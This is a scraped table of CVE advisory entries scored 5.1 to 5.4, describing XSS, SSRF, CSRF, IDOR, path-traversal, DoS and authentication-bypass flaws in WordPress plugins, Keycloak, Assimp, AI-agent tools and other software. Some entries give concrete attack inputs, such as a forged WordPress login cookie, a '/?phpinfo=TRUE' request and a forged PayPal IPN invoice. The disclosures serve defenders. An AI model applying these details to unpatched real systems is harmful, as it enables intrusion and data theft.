CVE-2026-24754	Kiteworks is a private data network (PDN). Prior to version 9.3.0, a stored XSS vulnerability in Kiteworks Secure Data Forms could allow an authenticated attacker to execute arbitrary JavaScript code in other users' sessions. Upgrade Kiteworks to version 9.3.0 or later to receive a patch.	5.4	More Details
CVE-2026-45023	AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Prior to 0.6.59, POST /api/blocks/{block_id}/execute endpoint executes blocks without consuming any credits, regardless of the user's balance. The credit check that exists in the graph execution path (manager.py) is never reached when blocks are called directly via the external API, allowing unlimited	5.4	More Details

	free execution of all blocks. This vulnerability is fixed in 0.6.59.		
CVE-2026-6287	The ShopLentor - WooCommerce Builder for Elementor & Gutenberg plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'blockUniqId' block attribute in multiple Product Gride blocks in versions up to, and including, 3.3.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	5.4	More Details
CVE-2026-42877	FacturaScripts is an open source accounting and invoicing software. In 2025.92 and earlier, a stored Cross-Site Scripting (XSS) vulnerability exists in the product search modal of sales (Core/Lib/AjaxForms/SalesModalHTML.php) and purchases documents (Core/Lib/AjaxForms/PurchasesModalHTML.php). An authenticated user with access to the warehouse module can create a product with a malicious reference that executes arbitrary JavaScript in the browser of any other user who opens the product search modal inside an invoice, order, or delivery note.	5.4	More Details
CVE-2026-4390	A weakness has been identified in TeamSpeak 3 Server up to 3.13.7. This affects the function process_resend_queue of the component Connection State Management. This manipulation causes use after free. The attack may be initiated remotely. Upgrading to version 3.13.8 is able to mitigate this issue. The affected component should be upgraded.	5.4	More Details
CVE-2026-45718	Budibase is an open-source low-code platform. Prior to 3.38.1, the row action trigger endpoint (POST /api/tables/:sourceId/actions/:actionId/trigger) fails to validate that the user-supplied rowId is within the scope of the view's row filters. A user with access to a filtered view can trigger row actions on any row in the underlying table, including rows explicitly excluded by the view's security filters. This vulnerability is fixed in 3.38.1.	5.4	More Details
CVE-2026-24755	Kiteworks is a private data network (PDN). Prior to version 9.3.0, an Insecure Direct Object Reference (IDOR) vulnerability in Kiteworks Secure Data Forms allows an authenticated user to modify permissions on resources belonging to other users due to insufficient authorization checks on resource ownership. Upgrade Kiteworks to version 9.3.0 or later to receive a patch.	5.4	More Details
CVE-2026-44611	Danelec MacGregor Voyage Data Recorder passwords are stored with a hashing method which limits password length and is susceptible to brute force attacks.	5.4	More Details
CVE-2026-42951	An authenticated user can download a backup of the Danelec MacGregor Voyage Data Recorder device which includes account data and password hashes.	5.4	More Details
CVE-2026-45660	Statamic is a Laravel and Git powered content management system (CMS). Prior to 5.73.22 and 6.18.1, the Glide image proxy's URL validation could be bypassed using an IP representation that wasn't normalized before the public-IP check. An unauthenticated user could cause the server to make HTTP requests to internal addresses — including loopback, private network, and cloud metadata endpoints. This affects sites that pass user-supplied URLs to Glide. Sites running PHP 8.3 or newer are not affected. This vulnerability is fixed in 5.73.22 and 6.18.1.	5.4	More Details
CVE-2026-44794	Nautobot is a Network Source of Truth and Network Automation Platform. Prior to 2.4.33 and 3.1.2, in the case of inter-object references via GenericForeignKey (a pattern allowing an object to reference another object that may belong to one of several different "content types" or database tables), when creating or updating an object containing a GenericForeignKey, Nautobot's REST API failed to enforce user "view" permissions when determining whether a given reference to another object would be valid. This vulnerability is fixed in 2.4.33 and 3.1.2.	5.4	More Details
CVE-2026-45571	go-git is an extensible git implementation library written in pure Go. Prior to 5.19.1 and 6.0.0-alpha.4, a path validation issue in go-git could allow crafted repository data to affect files outside the intended checkout target, including the repository's .git directory. These validations were introduced in upstream Git years ago, so the vulnerability arose from go-git drifting from those checks. This vulnerability is fixed in 5.19.1 and 6.0.0-alpha.4.	5.4	More Details
CVE-2026-45335	WeGIA is a web manager for charitable institutions. Prior to 3.7.3, an Open Redirect vulnerability was identified in the /WeGIA/controle/control.php endpoint of the WeGIA application, specifically through the nextPage parameter when combined with metodo=listarTodos and nomeClasse=InternoControle. The application fails to validate or restrict the nextPage parameter, allowing attackers to redirect users to arbitrary external websites. This can be abused for phishing attacks, credential theft, malware distribution, and social engineering using the trusted WeGIA domain. This vulnerability is fixed in 3.7.3.	5.4	More Details
CVE-2026-38931	A stored cross-site scripting (XSS) vulnerability in the /admin/config-module.php component of creatorsofcode simplephp GitHub commit 5184cff (Latest as of 2026-02-27) via injecting a crafted payload.	5.4	More Details
CVE-	A security flaw has been discovered in AstrBotDevs AstrBot 4.23.6. This vulnerability affects unknown code of the file /api/skills/delete of the component API Endpoint. Performing a manipulation of the argument Name		

2026-10213	results in path traversal. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.	5.4	More Details
CVE-2026-34507	OpenClaw before 2026.4.29 contains a policy bypass vulnerability in QQBot admin commands that allows authenticated senders to skip DM-only and allowFrom policy checks. Attackers can route admin commands from unauthorized senders or contexts to execute restricted behavior that policy should have blocked.	5.4	More Details
CVE-2026-7493	The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to denial of service in all versions up to, and including, 1.6.11.5. This is due to a publicly accessible REST API endpoint (/wp-json/ssa/v1/async) that calls PHP's sleep() function on a user-supplied delay parameter without any rate limiting. This makes it possible for unauthenticated attackers to exhaust PHP worker processes, denying access to the site to legitimate users.	5.3	More Details
CVE-2024-28765	IBM SDI 7.2.0.0 through 7.2.0.14 and IBM Security Directory Integrator 10.0.0.0 through 10.0.0.2 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system.	5.3	More Details
CVE-2026-4392	A vulnerability was detected in TeamSpeak 3 Server up to 3.13.7. This issue affects some unknown processing of the component clientek Handshake Handler. Performing a manipulation of the argument proof results in reachable assertion. Remote exploitation of the attack is possible. Upgrading to version 3.13.8 is capable of addressing this issue. Upgrading the affected component is recommended.	5.3	More Details
CVE-2026-42500	Decoding a paletted BMP file with an out-of-range palette index results in a panic when accessing pixels in the invalid image.	5.3	More Details
CVE-2026-4391	A security vulnerability has been detected in TeamSpeak 3 Server up to 3.13.7. This vulnerability affects unknown code of the component ECC Key Parser. Such manipulation leads to heap-based buffer overflow. The attack may be launched remotely. Upgrading to version 3.13.8 is able to resolve this issue. It is suggested to upgrade the affected component.	5.3	More Details
CVE-2026-10548	A security flaw has been discovered in NousResearch hermes-agent up to 2026.4.23. This affects the function _sync_anthropic_entry_from_credentials_file of the file agent/credential_pool.py of the component Credential Pool Synchronization. The manipulation results in improper authentication. The attack must be initiated from a local position. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.	5.3	More Details
CVE-2026-9189	The Contact Form 7 – PayPal & Stripe Add-on plugin for WordPress is vulnerable to Payment Bypass via Insufficient Verification of Data Authenticity in all versions up to, and including, 2.4.9. Although `cf7pp_paypal_ipn_handler()` correctly validates IPN authenticity by posting back to PayPal with `cmd=_notify-validate`, it fails to compare the IPN payload's `mc_gross` (payment amount), `mc_currency`, or `receiver_email` fields against the corresponding stored order values before passing the attacker-controlled `invoice` field directly to `cf7pp_complete_payment()`, which marks the order completed after only an integer cast with no amount verification. This makes it possible for unauthenticated attackers to mark arbitrary high-value pending orders as fully paid by making a minimal real PayPal payment and crafting an IPN whose `invoice` parameter references the targeted order, effectively completing purchases without tendering the required payment amount.	5.3	More Details
CVE-2025-12714	The Rank Math SEO – AI SEO Tools to Dominate SEO Rankings plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the update_site_editor_homepage function in all versions up to, and including, 1.0.271. This makes it possible for unauthenticated attackers to modify several plugin settings including homepage title, meta description, breadcrumbs label, and social media metadata, which can have severe impact on SEO rankings and display malicious content across all site pages where breadcrumbs are used.	5.3	More Details
CVE-2026-45543	Nextcloud is an open source content collaboration platform. From version 4.3.0 to before version 5.2.7, a removed collaborator retains unauthorized read access to uploaded respondent files for the affected form. The scope is limited to uploaded files for forms where that user previously had results access. This issue has been patched in version 5.2.7.	5.3	More Details
CVE-2026-33463	Operation on a Resource after Expiration or Termination (CWE-672) in Kibana can lead to unauthorized information disclosure. A logic error in how expiration timestamps were validated allowed a time-bounded access token to remain usable beyond its intended validity window, enabling an unauthenticated actor in possession of the token to retrieve the associated content after expiration.	5.3	More Details
CVE-2026-45294	FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Prior to 1.8.219, the password reset endpoint returns visually distinct responses depending on whether the submitted email address belongs to an existing user account, allowing unauthenticated attackers to enumerate valid helpdesk agent email addresses. This vulnerability is fixed in 1.8.219.	5.3	More Details
	cpp-httplib is a C++11 single-file header-only cross platform HTTP/HTTPS library. Prior to 0.43.4, negative		

CVE-2026-45352	chunk-size in chunked Transfer-Encoding causes unbounded memory allocation and process crash. The ChunkedDecoder::read_payload function in cpp-httplib (httplib.h) parses the chunk-size field of HTTP chunked transfer encoding using std::strtoul(). Per the C standard (§7.22.1.4), strtoul silently accepts a leading minus sign, performing unsigned wrap-around: strtoul("-2", ..., 16) returns ULONG_MAX − 1 (0xFFFFFFFFFFFFFFFE). The library's only guard (line 12833) rejects ULONG_MAX (the result of "-1"), but any other negative value such as "-2" passes validation. The resulting near-maximum value is stored in chunk_remaining and controls how many bytes the server's read loop consumes from the network. This vulnerability is fixed in 0.43.4.	5.3	More Details
CVE-2018-25435	ZeusCart 4.0 contains a cross-site request forgery vulnerability that allows attackers to perform unauthorized actions on behalf of victims by crafting malicious requests. Attackers can deactivate customer accounts via the admin interface by tricking users into visiting attacker-controlled pages that submit requests to the regstatus endpoint with action=deny parameters.	5.3	More Details
CVE-2026-49130	Music Player Daemon (MPD) before version 0.24.11 contains a CRLF injection vulnerability in the xspf_char_data function within the XSPF playlist plugin that allows attackers to embed literal CR/LF bytes in URI fields by supplying a malicious XSPF playlist with XML numeric character references. Attackers can inject forged key-value lines through the location field into MPD protocol responses including playlistinfo, currentsong, and listplaylist outputs, as well as the state file writer, by exploiting Expat's decoding of numeric character references prior to the character data callback.	5.3	More Details
CVE-2026-48840	Exim 4.88 before 4.99.4, in some proxy configurations, mishandles certain short payloads, leading to disclosure of uninitialized stack memory values to a client.	5.3	More Details
CVE-2026-7254	IBM OPENBMC FW1110.00 through FW1110.11 is vulnerable to denial of service attacks by unauthenticated network users.	5.3	More Details
CVE-2026-38808	SQL Injection vulnerability in uzy-ssm-mall v1.1.0 allows a remote attacker to obtain sensitive information via the ProductMapper.xml and /OrderUtil.java components	5.3	More Details
CVE-2026-10075	DreamMaker developed by Interinfo has a Path Traversal vulnerability, allowing unauthenticated remote attackers to read file names under arbitrary path by exploiting an Absolute Path Traversal vulnerability.	5.3	More Details
CVE-2026-49053	Missing Authorization vulnerability in Wpmet ElementsKit Elementor addons Lite allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects ElementsKit Elementor addons Lite: from n/a through 3.9.6.	5.3	More Details
CVE-2025-67903	Northern.tech Mender Client 5 before 5.0.4 allows a Cryptographic signature verification bypass.	5.3	More Details
CVE-2026-42878	FacturaScripts is an open source accounting and invoicing software. Prior to v2026, an unauthenticated information disclosure vulnerability in the Installer controller allows any remote attacker to trigger phpinfo() on a fresh FacturaScripts deployment by requesting /?phpinfo=TRUE, exposing full PHP configuration, server environment variables (including any database credentials, API keys, or application secrets set as env vars), filesystem paths, and loaded extensions without being authenticated. This vulnerability is fixed in v2026.	5.3	More Details
CVE-2026-46830	Vulnerability in Oracle REST Data Services (component: Mongoapi). Supported versions that are affected are 24.2.0-26.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle REST Data Services. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle REST Data Services accessible data. CVSS 3.1 Base Score 5.3 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N).	5.3	More Details
CVE-2026-2128	The Breeze plugin for WordPress is vulnerable to Exposure of Sensitive Information to an Unauthorized Actor in all versions up to, and including, 2.5.2 This is due to improper verification of the `wordpress_logged_in_` cookie in the `inc/cache/execute-cache.php` file when the "Cache Logged-in Users" setting is enabled. The plugin parses the username directly from the cookie value (e.g., `username|hash`) using `substr()` to retrieve the corresponding cache file but fails to verify the session's cryptographic signature or validity with WordPress core. This makes it possible for unauthenticated attackers to supply a crafted cookie (e.g., `wordpress_logged_in_fake=admin|fake`) to trick the plugin into serving the cached HTML content generated for an administrator, leading to the disclosure of sensitive information such as private posts (including their full content), the Admin Bar, WordPress nonces, and other data visible only to logged-in administrators or other users.	5.3	More Details
CVE-2026-45410	TREK is a collaborative travel planner. Prior to 3.0.18, early return on missing user during login flow allowed an attacker to enumerate valid user accounts via response timing discrepancy. When an email address existed in the database, the backend performed a bcrypt password comparison before returning a 401 Unauthorized, adding ~370 ms of latency. When the email did not exist, the backend returned immediately (~10 ms). This ~14× timing difference could be detected without any difference in HTTP status codes or	5.3	More Details

	response bodies. This vulnerability is fixed in 3.0.18.		
CVE-2026-46841	Vulnerability in Oracle REST Data Services (component: General). Supported versions that are affected are 24.2.0-26.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle REST Data Services. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle REST Data Services accessible data. CVSS 3.1 Base Score 5.3 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N).	5.3	More Details
CVE-2026-46842	Vulnerability in Oracle REST Data Services (component: Core). Supported versions that are affected are 24.2.0-26.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle REST Data Services. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle REST Data Services accessible data. CVSS 3.1 Base Score 5.3 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N).	5.3	More Details
CVE-2026-46843	Vulnerability in Oracle REST Data Services (component: Core). Supported versions that are affected are 24.2.0-26.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle REST Data Services. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Oracle REST Data Services. CVSS 3.1 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).	5.3	More Details
CVE-2026-10255	A vulnerability has been found in SourceCodester Pharmacy Sales and Inventory System 1.0. Affected by this vulnerability is the function sell_statement of the file application/controllers/ShowForm.php. Such manipulation leads to improper access controls. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.	5.3	More Details
CVE-2026-7651	The User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.1.5. This is due to missing ownership validation on a user-controlled attachment ID, allowing the plugin to store and subsequently delete arbitrary media attachments without verifying that the referenced attachment belongs to the requesting user. This makes it possible for authenticated attackers, with subscriber-level access and above, to permanently delete arbitrary media attachments uploaded by any other user, including administrators.	5.3	More Details
CVE-2026-9985	Insufficient validation of untrusted input in Media in Google Chrome on ChromeOS prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)	5.3	More Details
CVE-2026-48525	PyJWT is a JSON Web Token implementation in Python. From 2.8.0 to 2.12.1, when verifying detached JWS tokens using the unencoded-payload option ("b64": false, RFC 7797), PyJWT performs Base64URL decoding of the compact-serialization payload segment before enforcing the detached-payload rules. For b64=false, PyJWT later discards that decoded payload and replaces it with the caller-provided detached_payload. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces CPU work + memory allocations even if the signature is invalid. This creates an unauthenticated DoS vector against any endpoint that verifies detached JWS using PyJWT. This vulnerability is fixed in 2.13.0.	5.3	More Details
CVE-2026-10200	A vulnerability was found in Assimp up to 6.0.4. This affects the function glTFCommon::CopyValue in the library glTFCommon.h of the component 4x4 Matrix Parser. Performing a manipulation results in heap-based buffer overflow. The attack must be initiated from a local position. The exploit has been made public and could be used. The project tagged the reported issue as bug.	5.3	More Details
CVE-2026-10230	A vulnerability was identified in Assimp up to 6.0.4. This impacts the function Assimp::MDL::HalfLife::HL1MDLLoader::read_animations of the file HL1MDLLoader.cpp of the component Half-Life 1 MDL Loader. Such manipulation leads to heap-based buffer overflow. The attack must be carried out locally. The exploit is publicly available and might be used. The project tagged the reported issue as bug.	5.3	More Details
CVE-2026-10229	A vulnerability was determined in Assimp up to 6.0.4. This affects the function HL1MDLLoader::read_meshes of the file HL1MDLLoader.cpp of the component Half-Life 1 MDL Loader. This manipulation causes heap-based buffer overflow. The attack is restricted to local execution. The exploit has been publicly disclosed and may be utilized. The project tagged the reported issue as bug.	5.3	More Details
CVE-2026-9794	A flaw was found in Keycloak. A remote, unauthenticated attacker can exploit this vulnerability by sending specially crafted SOAP requests to the SAML ECP (Security Assertion Markup Language Enhanced Client or Proxy) endpoint with varying client IDs. By observing distinct faultstrings in the responses, the attacker can determine the client's protocol type, leading to information disclosure.	5.3	More Details
CVE-2026-10224	A security vulnerability has been detected in NousResearch hermes-agent up to 2026.4.30. This vulnerability affects the function _handle_webhook_request of the file gateway/platforms/feishu.py of the component Webhook Endpoint. Such manipulation leads to resource consumption. The attack can be launched remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	5.3	More Details

CVE-2026-9091	Casdoor versions 2.362.0 and earlier contain a logic flaw in the social-login binding flow that allows users to bypass configured MFA requirements. The binding-rule code path in controllers/auth.go calls HandleLoggedIn directly without invoking checkMfaEnable. Any user authenticating via this path is logged in without MFA enforcement.	5.3	More Details
CVE-2026-9803	A flaw was found in Keycloak's ClientRegistrationAuth component. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted POST request with a malformed 'Authorization: Bearer' header to any client registration endpoint. This can lead to an ArrayIndexOutOfBoundsException, causing the server to return an HTTP 500 error and resulting in a Denial of Service (DoS) for the affected service.	5.3	More Details
CVE-2026-49001	Cross-site request forgery (CSRF) vulnerabilities allow attackers to exploit a user's authenticated session to forge cross-site requests, inducing the execution of unintended operations such as tampering with configuration data.	5.3	More Details
CVE-2018-25397	PHP-SHOP 1.0 contains a cross-site request forgery vulnerability that allows unauthenticated attackers to add administrative users by crafting malicious HTML forms. Attackers can trick authenticated administrators into visiting a page containing a hidden form that automatically submits POST requests to the users.php endpoint with parameters like name, email, password, and permissions set to admin to create unauthorized admin accounts.	5.3	More Details
CVE-2026-9014	The WP Promoter plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the reset_stats() function in versions up to, and including, 1.3. The function is hooked to both the wp_ajax_wpp-reset_stats and wp_ajax_nopriv_wpp-reset_stats actions and contains no authentication, authorization, or nonce validation. This makes it possible for unauthenticated attackers to reset the plugin's bar and popup statistics by deleting the wpp_bar and wpp_popup options.	5.3	More Details
CVE-2026-7552	The Geo Mashup plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.13.19. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to expose sensitive plugin configuration data, including Google Maps API keys and GeoNames service credentials, to unauthenticated attackers.	5.3	More Details
CVE-2026-47676	Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.21, app.mount() strips the mount prefix from the incoming request path using the raw URL pathname, while route matching is performed against the percent-decoded path. This inconsistency causes the prefix to be stripped at the wrong position when the path contains percent-encoded multi-byte characters, resulting in the mounted sub-application receiving an incorrect path. This vulnerability is fixed in 4.12.21.	5.3	More Details
CVE-2026-47674	Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.21, the ip-restriction middleware (hono/ip-restriction) compares incoming IP addresses against configured deny and allow rules using string equality after partial normalization. Non-canonical IPv6 representations of an address already listed in a static rule — such as compressed forms, explicit-zero forms, or hex-notation IPv4-mapped addresses — do not match the normalized rule entry, causing the rule to be silently skipped. This vulnerability is fixed in 4.12.21.	5.3	More Details
CVE-2026-6937	The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.6.11.8 due to the plugin not properly verifying that a user is authorized to perform an action via the bulk appointments REST API endpoint. This makes it possible for unauthenticated attackers to modify arbitrary appointment records including customer PII, payment status, and meeting URL fields, and to expose full customer PII from existing appointment records via the bulk endpoint response. The public nonce is a static, user-independent value present in the HTML source of any page hosting the [ssa_booking] shortcode, meaning any visitor who has viewed such a page can obtain it and target any appointment in the system without authentication.	5.3	More Details
CVE-2026-10254	A flaw has been found in SourceCodester Pet Grooming Management Software 1.0. Affected is an unknown function of the file /admin/. This manipulation causes file and directory information exposure. The attack can be initiated remotely. The exploit has been published and may be used.	5.3	More Details
CVE-2026-10231	A security flaw has been discovered in Assimp up to 6.0.4. Affected is the function HL1MDLLoader::extract_anim_value of the file HL1MDLLoader.cpp of the component Half-Life 1 MDL Loader. Performing a manipulation of the argument num.total results in heap-based buffer overflow. The attack must be initiated from a local position. The exploit has been released to the public and may be used for attacks. The project tagged the reported issue as bug.	5.3	More Details
CVE-2026-10232	A weakness has been identified in Assimp up to 6.0.4. Affected by this vulnerability is the function aiNode::~aiNode of the file scene.cpp of the component ASE File Parser. Executing a manipulation can lead to use after free. The attack needs to be launched locally. The exploit has been made available to the public and could be used for attacks. The project tagged the reported issue as bug.	5.3	More Details
CVE-2026-	liboqs is a C-language cryptographic library that provides implementations of post-quantum cryptography algorithms. Prior to 0.16.0, an out-of-bounds read has been identified in the XMSS and XMSS^MT stateful signature verification code. When the verification function is called with a signature buffer shorter than the expected signature size for the given parameter set, the implementation does not validate the caller-supplied length and proceeds to read past the end of the buffer. The out-of-bounds bytes are consumed only as input	5.3	More Details

44518	to an internal hash computation and are not returned to the caller, so no oracle exists to leak their contents to an attacker. The primary observable effect is a possible crash (denial of service) of the verifying process if the read crosses into an unmapped memory page. This vulnerability is fixed in 0.16.0.		
CVE-2026-45292	opentelemetry-java is the Java implementation of the OpenTelemetry API for recording telemetry, and SDK for managing telemetry recorded by the API. Prior to 1.62.0, a vulnerability affects the baggage propagation implementation in opentelemetry-api and opentelemetry-extension-trace-propagators. Parsing oversized baggage causes unbounded memory allocation and CPU consumption. Because baggage is automatically re-injected into every outgoing request, the effect can fan out to downstream services that never received the original malicious request. This vulnerability is fixed in 1.62.0.	5.3	More Details
CVE-2026-6713	GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.10.7, 18.11 before 18.11.4, and 19.0 before 19.0.1 that under certain conditions could have allowed an unauthorized user to enumerate private projects due to incorrect authorization checks.	5.3	More Details
CVE-2026-49328	Server-Side Request Forgery (SSRF) in the UrlImageConverter component of Apache Fesod (Incubating) fesod-sheet before 2.0.2-incubating allows attackers to cause outbound network requests to internal or otherwise restricted resources via a user-supplied image URL. Users are recommended to upgrade to version 2.0.2-incubating, which fixes this issue.	5.3	More Details
CVE-2026-46344	liboqs is a C-language cryptographic library that provides implementations of post-quantum cryptography algorithms. Prior to 0.16.0, an out-of-bounds read has been identified in the XMSS and XMSS^MT stateful signature verification code. When the verification function is called with a correctly-sized signature buffer for the declared algorithm but a public key whose OID bytes (pk[0..3]) reference a different XMSS parameter set with a larger sig_bytes, the implementation re-parses the OID from the public key inside xmss_sign_open / xmssmt_sign_open and uses the resulting (larger) sig_bytes to index the caller-supplied signature buffer. As with CVE-2026-44518, the out-of-bounds bytes are consumed only as input to an internal hash computation and are not returned to the caller, so no oracle exists to leak their contents to an attacker. The primary observable effect is a possible crash (denial of service) of the verifying process if the read crosses into an unmapped memory page. This vulnerability is fixed in 0.16.0.	5.3	More Details
CVE-2026-45620	WWBN AVideo is an open source video platform. In 29.0 and earlier, objects/mention.json.php has no User::loginCheck() or admin gate. It only has an entry guard: preg_match('/^@/', $_REQUEST['term']) and hard-coded rowCount=10. This enables unauthenticated user enumeration.	5.3	More Details
CVE-2026-46337	WWBN AVideo is an open source video platform. In 29.0 and earlier, an unauthenticated remote attacker can read arbitrary image files anywhere on disk that the PHP user can open — including private user-profile photos that the application's normal serving wrappers gate behind ACLs, admin-uploaded thumbnails, encrypted-video poster frames, and image content under sibling-app directories reachable via .. traversal. The endpoint requires no authentication.	5.3	More Details
CVE-2026-8382	The Advanced Custom Fields (ACF®) plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 6.8.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to overwrite the post_title and post_content of any post bound to a publicly accessible acf_form() instance by injecting values into the _post_title and _post_content parameters of a form submission request.	5.3	More Details
CVE-2026-46544	Microsoft UFO open-source framework for intelligent automation across devices and platforms. In 3.0.1-4-ge2626659, Microsoft UFO accepts client-supplied session_id values in WebSocket task messages and reuses an existing in-memory session object if that session_id already exists. If a prior session has completed and remains in memory with populated results, a different authenticated client can send a new TASK message using the same session_id. The server re-enters the existing session object and sends the stale stored result to the new requester through the normal send_task_end() callback path. This is an authenticated cross-client stale result replay issue. The issue requires that the attacker knows or can predict a live or recently completed session_id.	5.3	More Details
CVE-2026-8474	A vulnerability was discovered on Stormshield Network Security * 4.3.0 to 4.3.41, * 4.8.0 to 4.8.15, * 5.0.0 to 5.0.5 It is possible to execute a reflected XSS attack on the login API available on Stormshield SNS appliance by executing a script on the victim's machine. The risks include the theft of cookies or other sensitive data, as well as the modification of page behavior, for example, by redirecting the victim to malicious websites.	5.3	More Details
CVE-2026-41150	Mermaid is a JavaScript tool that uses Markdown-inspired text to create and modify diagrams and charts. Prior to 10.9.6 and 11.15.0, there is a denial-of-service attack when rendering gantt charts, if they use the excludes attribute to exclude all dates. mermaid.parse is unaffected, unless you then call the ganttDb.getTasks() (which is called when rendering a diagram). This vulnerability is fixed in 10.9.6 and 11.15.0.	5.3	More Details
CVE-	Mermaid is a JavaScript tool that uses Markdown-inspired text to create and modify diagrams and charts. Prior to 10.9.6 and 11.15.0, Mermaid's default configuration allows injecting CSS that applies outside of the Mermaid diagram via the fontFamily, themeCSS, and altFontFamily configuration options. The injected CSS		

2026-41159	exploits stylis's & (scope reference) handling. :not(&) escapes the #mermaid-xxx automatic scoping, applying styles to all page elements. Global at-rules (@font-face, @keyframes, @counter-style) are also injectable as stylis hoists them to top level. This allows page defacement and DOM attribute exfiltration via CSS :has() selectors. This vulnerability is fixed in 10.9.6 and 11.15.0.	5.3	More Details
CVE-2018-25387	HaPe PKH 1.1 contains a cross-site request forgery vulnerability that allows attackers to change administrator passwords by submitting forged requests to the user update endpoint. Attackers can craft malicious forms targeting the aksi_user.php script with parameters like id_user, password, and level to modify admin credentials without authentication.	5.3	More Details
CVE-2026-2607	IBM MQ Operator SC2: v3.2.0 through 3.2.23CD: v3.3.0, v3.4.0, v3.4.1, v3.5.0, v3.5.1 - v3.5.3, v3.6.0 - v3.6.4, v3.7.0 - v3.7.2, v3.8.0, v3.8.1, v3.9.0, v3.9.1LTS: v2.0.0 - 2.0.29 and IBM supplied MQ Advanced container images SC2: 9.4.0.6 through r1, 9.4.0.6-r2, 9.4.0.7-r1, 9.4.0.10-r1, 9.4.0.10-r2, 9.4.0.11-r1, 9.4.0.11-r2, 9.4.0.11-r3, 9.4.0.12-r1, 9.4.0.15-r1 - 9.4.0.15-r4, 9.4.0.16-r1, 9.4.0.16-r2, 9.4.0.17-r1, 9.4.0.17-r2, 9.4.0.20-r1CD: 9.4.1.0-r1, 9.4.1.0-r2, 9.4.1.1-r1, 9.4.2.0-r1, 9.4.2.0-r2, 9.4.2.1-r1, 9.4.2.1-r2, 9.4.3.0-r1, 9.4.3.0-r2, 9.4.3.1-r1 - 9.4.3.1-r3, 9.4.4.0-r1 - 9.4.4.0-r4, 9.4.4.1-r1, 9.4.5.0-r1, 9.4.5.0-r2LTS: 9.3.0.0-r1, 9.3.0.0-r2, 9.3.0.0-r3, 9.3.0.1-r1, 9.3.0.1-r2, 9.3.0.1-r3, 9.3.0.1-r4, 9.3.0.3-r1, 9.3.0.4-r1, 9.3.0.4-r2, 9.3.0.5-r1, 9.3.0.5-r2, 9.3.0.5-r3, 9.3.0.6-r1, 9.3.0.10-r1, 9.3.0.10-r2, 9.3.0.11-r1,9.3.0.11-r2, 9.3.0.15-r1, 9.3.0.16-r1, 9.3.0.16-r2, 9.3.0.17-r1, 9.3.0.17-r2, 9.3.0.17-r3, 9.3.0.20-r1, 9.3.0.20-r2, 9.3.0.21-r1, 9.3.0.21-r2, 9.3.0.21-r3, 9.3.0.25-r1, 9.4.0.0-r1, 9.4.0.0-r2, 9.4.0.0-r3, 9.4.0.5-r1, 9.4.0.5-r2 IBM MQ stores potentially sensitive information in log files that could be read by a local user.	5.1	More Details
CVE-2026-47271	pam_usb provides hardware authentication for Linux using ordinary removable media. Prior to 0.9.0, src/mem.c implemented out-of-memory guards for xmalloc(), xrealloc(), and xstrdup() using assert(data != NULL). The C standard specifies that all assert() expressions are compiled out when NDEBUG is defined at build time. NDEBUG is commonly defined in release and packaging builds (Debian, Fedora, Arch package flags all define it via -DNDEBUG in CFLAGS). With the guard removed, xmalloc/xrealloc/xstrdup silently return NULL on allocation failure. Every caller in the codebase dereferences the return value without a NULL check -- this is the intended design, as the guard was supposed to abort before the dereference. With the guard gone, any allocation failure causes a NULL pointer dereference, crashing the PAM module. A crash in a PAM module loaded by sudo or login causes authentication to fail for the duration of the crash, creating a local denial-of-service condition. An attacker who can induce memory pressure at authentication time can lock all users out of sudo and login. This vulnerability is fixed in 0.9.0.	5.1	More Details
